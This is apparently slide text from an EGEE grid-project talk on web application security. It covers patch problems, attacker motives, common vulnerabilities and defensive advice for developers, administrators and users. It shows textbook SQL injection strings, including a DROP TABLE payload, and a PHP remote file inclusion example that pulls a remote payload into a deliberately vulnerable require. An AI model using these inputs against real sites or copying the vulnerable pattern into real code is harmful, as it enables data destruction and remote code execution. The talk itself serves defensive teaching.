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Security issues - 1/2

•   Difficult to keep up-to-date with security patches:
–   Auto-update often unavailable/impossible
–   Must actively monitor announcements lists
–   Customisation of the application is often required
–   Difficult to detect insecure or unpatched versions by running 
network-level scans

•   A better software design and packaging would help
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Security issues - 2/2

•   Web applications are easy targets for attackers:
–  Web Applications often provide non mature code compared to 
traditional network services
–  Automated attacks are effective/scalable 
–  Many exploits are remotely executable, cross-platform, and require 
no compilation
–  Vulnerable services easily identifiable/searchable 

•   What is the motivation to attack Web applications?
–  Attackers choose the easiest target to obtain CPU/bandwidth
–  Obtain OS or back-end database access for further attacks
–  Mostly money (Phishing, SPAM, extortion/DDoS, Click fraud)
–  User-friendly, professionally supported, malware toolkits
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Security vulnerabilities
•  There are different common Webapps vulnerabilities:

–  Cross-Site Scripting (XSS)
–  SQL injection
–  SSI injection/Remote file inclusion (RFI)
–  Code injection
–  Cross-Site Request Forgery (CSRF)

  

http://en.wikipedia.org/wiki/Category:Web_security_exploits
http://osvdb.org/browse.php

http://www.webappsec.org/projects/statistics/ (2006)

http://www.webappsec.org/projects/statistics/
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Cross-site Scripting (XSS)



INFSO-RI-508833 6

Enabling Grids for E-sciencE

SQL Injection

SELECT foo FROM sometable WHERE user='$user' and password='$pass';
SELECT foo FROM sometable WHERE user='romain' and password='secret';

SELECT foo FROM sometable WHERE user='' OR '1'='1' and 
password='anything';
SELECT foo FROM sometable WHERE user='romain' and 
password='\'; DROP TABLE foo; --';
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Remote File inclusion

<?php
require($_GET['$usetemplate']);
?>

<?php
require('http://foo.com/payload.php');
?>

<?php

SELECT foo FROM sometable WHERE user='' OR '1'='1' and 
password='anything';

SELECT foo FROM sometable WHERE user='romain' and 
password='\'; DROP TABLE users; --';



INFSO-RI-508833 8

Enabling Grids for E-sciencE

Vulnerable websites proportion

http://www.webappsec.org/projects/statistics/

Study from the  Web Application Security Consortium, conducted in 
2006 against 31,373 websites
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Shift in the overall 
vulnerabilities trend

http://cwe.mitre.org/documents/vuln-trends/index.html

Mitre has recorded 26000 common vulnerabilities and exposures

There is a clear shift to XSS (1), SQL injection (2) and RFI (3).
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Recommendations



INFSO-RI-508833 11

Enabling Grids for E-sciencE

Developers

•   Do NOT trust ANYTHING coming from a browser

•   Additional hints
–  Check all input by design, even if not directly visible to users
–  Use the validation functions provided by your environment    
   (try to avoid re-inventing the wheel)
–  Never solely rely on the security of the framework
–  Keep your framework up-to-date – it can be a target
   (ex: CVE-2007-0041, CVE-2007-3495, CVE-2007-2385)
–  Beware of the information revealed by error messages/pages
–  Require (re)-authentication for privileged operations
–  Keep your support lists private
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Service managers

•   Try to apply all security patches in a timely manner
–   Subscribing a generic email address to the announcement list of the 
Web application vendor usually helps

•   Whenever possible, implement additional safeguards
–   Ex: SELinux, ModSecurity (http://www.modsecurity.org/)

•   Try to compartmentalise Web applications

•   Avoid customised installation and avoid plugins

•   Change the default password(s)

•   Follow recommendations about monitoring and logging

http://www.modsecurity.org/
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Security teams

•   Inform the service managers, developers and users 
about the risks of Web applications

•   Encourage privileged staff to use two different Web 
browsers

•   Try to encourage your organisation to run centrally 
managed Web applications 

–  Ex: Wikis

•   Try to reduce the exposure of the Web services
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Users

•   Do not ignore security warnings from the Web browser

•   Whenever possible, disable Javascript/Flash/ActiveX
Ex: Firefox “NoScript”
 
•   Avoid following links to sensitive portals and type the 
URL by hand

•   Whenever possible, logout as soon as possible and/or 
close your browser when your session is completed

•   Whenever available, use SSL
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Conclusion

•  There is a clear shift towards Web applications in the 
vulnerabilities trends

•  Exploits are easy to builds and targets easy to find

•  Sanitising all user input is essential

•  It is essential to adapt our code to these threats



INFSO-RI-508833 16

Enabling Grids for E-sciencE

PHP Shell
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Pinch 2

http://pandalabs.pandasecurity.com/archive/PINCH_2C00_-THE-TROJAN-
CREATOR.aspx
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VisualBreeze

http://pandalabs.pandasecurity.com/archive/A-new-server-hosting-a-Briz.aspx

http://pandalabs.pandasecurity.com/archive/A-new-server-hosting-a-Briz.aspx
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Botmaster
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Barracuda

http://pandalabs.pandasecurity.com
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Questions?
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